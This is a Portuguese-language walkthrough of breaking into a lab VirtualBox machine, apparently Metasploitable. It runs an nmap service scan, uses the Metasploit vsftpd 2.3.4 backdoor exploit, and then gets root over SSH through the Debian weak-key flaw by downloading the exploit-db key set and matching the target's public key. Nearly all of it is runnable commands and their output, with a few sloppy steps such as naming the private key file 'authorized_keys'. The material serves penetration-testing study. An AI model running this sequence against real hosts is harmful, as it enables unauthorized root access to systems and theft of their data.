Utilizando o servidor local **Ubuntu 14.04 LTS x64** com privilégios de usuário **root**, instalamos o aplicativo **nmap** para verificar as portas abertas no servidor alvo.

```
# apt-get install subversion

# apt-get install alien

# wget https://nmap.org/dist/nmap-7.12-1.x86_64.rpm

# alien nmap-7.12-1.x86_64.rpm

# dpkg --install nmap_7.12-2_amd64.deb

# ln -s /usr/lib/x86_64-linux-gnu/libsvn_client-1.so.1.0.0
/usr/lib/libsvn_client-1.so.0

# nmap -p 23 192.168.0.100-254 (qual maquina possui telnet open?)

Nmap scan report for 192.168.0.104
Host is up (0.00049s latency).
PORT   STATE SERVICE
23/tcp open  telnet
MAC Address: 08:00:27:A4:09:A5 (Oracle VirtualBox virtual NIC)

# nmap -sV 192.168.0.104 (buscar portas abertas, serviços e versões)

PORT     STATE SERVICE     VERSION

21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  rmiregistry GNU Classpath grmiregistry
1524/tcp open  ingreslock?
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         Unreal ircd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
```

Para prosseguir com a invasão foi instalado o aplicativo **metasploit** por arquivo baixado diretamente do site de seu desenvolvedor, com a instalação padrão:

```
# wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run

# chmod +x metasploit-latest-linux-x64-installer.run (tornar executável)

# ./metasploit-latest-linux-x64-installer.run
```

Após termos todos os aplicativos necessários e devidamente instalados, abrimos o **console** do **metasploit** e executamos o seguinte código para invasão do servidor **RHOST**:

```
# cd /opt/metasploit

# ./app/msfconsole

# search vsftpd (buscar vulnerabilidades neste serviço)

# use exploit/unix/ftp/vsftpd_234_backdoor

# show payloads (buscar payloads para este exploit)

# set payload cmd/unix/interact

# show options (verificar se o RHOST, RPORT...estão corretos)

# set RHOST 192.168.0.104

# exploit
```

Foi possível acessar o servidor remoto baseado em **Linux Ubuntu 8.04 LTS x86** através de vulnerabilidade do serviço **vsftdp** na porta **21 (padrão FTP)**, acessando diretamente o console do servidor com os mesmos privilégios deste serviço **(geralmente apenas privilégio de leitura).** Lá vasculhamos os arquivos para acessar a pasta do usuário **root** afim de encontrar informações úteis para futuro ataque com este usuário privilegiado:

```
# uname -a

Linux thebest 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

# cat /etc/lsb-release

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04"

# ls -larth

# cd rood

# cat .ssh/authorized_keys

ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQq1dJk
cteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaS
FwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Z
```

```
o9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo
9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w==
msfadmin@metasploitable
```

Esta **public key** foi copiada para futura busca na internet afim de encontrar a sua respectiva **private key**. Em posse da chave privada será possível acessar diretamente o servidor alvo como usuário **root** sem necessidade de qualquer técnica especial de invasão, ou seja; acessando da mesma forma que seu administrador faria.

1. Google search: **debian weak ssh rsa 2048 keys**
2. https://github.com/g0tmi1k/debian-ssh
3. https://www.exploit-db.com/exploits/5622/
4. No script encontramos um arquivo com as 65.536 possíveis chaves públicas e privadas. Agora baasta baixa-lo no servidor que irá acessar o servidor alvo.

```
# wget https://github.com/offensive-security/exploit-database-bin-
sploits/raw/master/sploits/5622.tar.bz2

# tar jxf 5622.tar.bz2

# cd rsa/2048

(devemos buscar pelo nome do arquivo que contém o início da chave pública)

# grep AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNAL *.pub

57c3115d77c56390332dc5c49978627a-5429.pub:ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNAL...bALTp3w== root@targetcluster

(agora com o arquivo em mãos, fazemos o contrário, copiamos para o arquivo de
keys o arquivo da chave privada, ou seja; o mesmo nome porém sem o ".pub"

# cat 57c3115d77c56390332dc5c49978627a-5429 > /root/authorized_keys

# chmod 600 /root/authorized_keys

# ssh -i /root/authorized_keys root@192.168.0.104 -p 22

root@thebest:#
```

Missão cumprida, acesso com usuário **root** permitido no servidor alvo!